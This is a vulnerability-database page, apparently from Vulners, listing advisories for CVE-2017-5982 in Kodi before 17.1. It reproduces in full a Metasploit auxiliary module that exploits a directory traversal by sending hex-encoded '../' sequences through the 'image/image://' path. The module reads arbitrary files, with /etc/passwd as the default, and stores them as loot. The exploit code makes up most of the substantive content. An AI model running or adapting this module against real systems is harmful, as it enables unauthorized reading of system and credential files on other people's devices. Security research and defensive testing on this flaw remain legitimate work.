Lucene search
K

Kodi 17.0 Local File Inclusion Exploit

🗓️ 13 Mar 2017 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 43 Views

Kodi 17.0 Local File Inclusion Vulnerability exploi

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-5982
29 May 201815:50
circl
CNVD
Kodi Chorus2 Directory Traversal Vulnerability
1 Mar 201700:00
cnvd
CVE
CVE-2017-5982
28 Feb 201700:00
cve
Cvelist
CVE-2017-5982
28 Feb 201700:00
cvelist
Debian
[SECURITY] [DLA 3712-1] kodi security update
23 Jan 202406:14
debian
Debian CVE
CVE-2017-5982
28 Feb 201700:00
debiancve
Tenable Nessus
Debian dla-3712 : kodi - security update
23 Jan 202400:00
nessus
Tenable Nessus
Kodi Local File Inclusion Information Disclosure
22 Mar 201700:00
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2017-5982
25 Aug 202500:00
nessus
Metasploit
Kodi 17.0 Local File Inclusion Vulnerability
19 Feb 201720:57
metasploit
Rows per page
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Kodi 17.0 Local File Inclusion Vulnerability',
      'Description'    => %q{
        This module exploits a directory traversal flaw found in Kodi before 17.1.
      },
      'References'     =>
        [
          ['CVE', '2017-5982'],
        ],
      'Author'         =>
        [
          'Eric Flokstra',  #Original
          'jvoisin'
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => "Feb 12 2017"
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
        OptString.new('FILE',      [true, 'The file to obtain', '/etc/passwd']),
        OptInt.new('DEPTH',        [true, 'The max traversal depth to root directory', 10])
      ], self.class)
  end


  def run_host(ip)
    base = normalize_uri(target_uri.path)

    peer = "#{ip}:#{rport}"

    print_status("Reading '#{datastore['FILE']}'")

    traverse = '../' * datastore['DEPTH']
    f = datastore['FILE']
    f = f[1, f.length] if f =~ /^\//
    f = "image/image://" + Rex::Text.uri_encode(traverse + f, "hex-all")

    uri = normalize_uri(base, Rex::Text.uri_encode(f, "hex-all"))
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri
    })

    if res and res.code != 200
      print_error("Unable to read '#{datastore['FILE']}', possibily because:")
      print_error("\t1. File does not exist.")
      print_error("\t2. No permission.")

    elsif res and res.code == 200
      data = res.body.lstrip
      fname = datastore['FILE']
      p = store_loot(
        'kodi',
        'application/octet-stream',
        ip,
        data,
        fname
      )

      vprint_line(data)
      print_good("#{fname} stored as '#{p}'")

    else
      print_error('Fail to obtain file for some unknown reason')
    end
  end

end

#  0day.today [2018-03-17]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation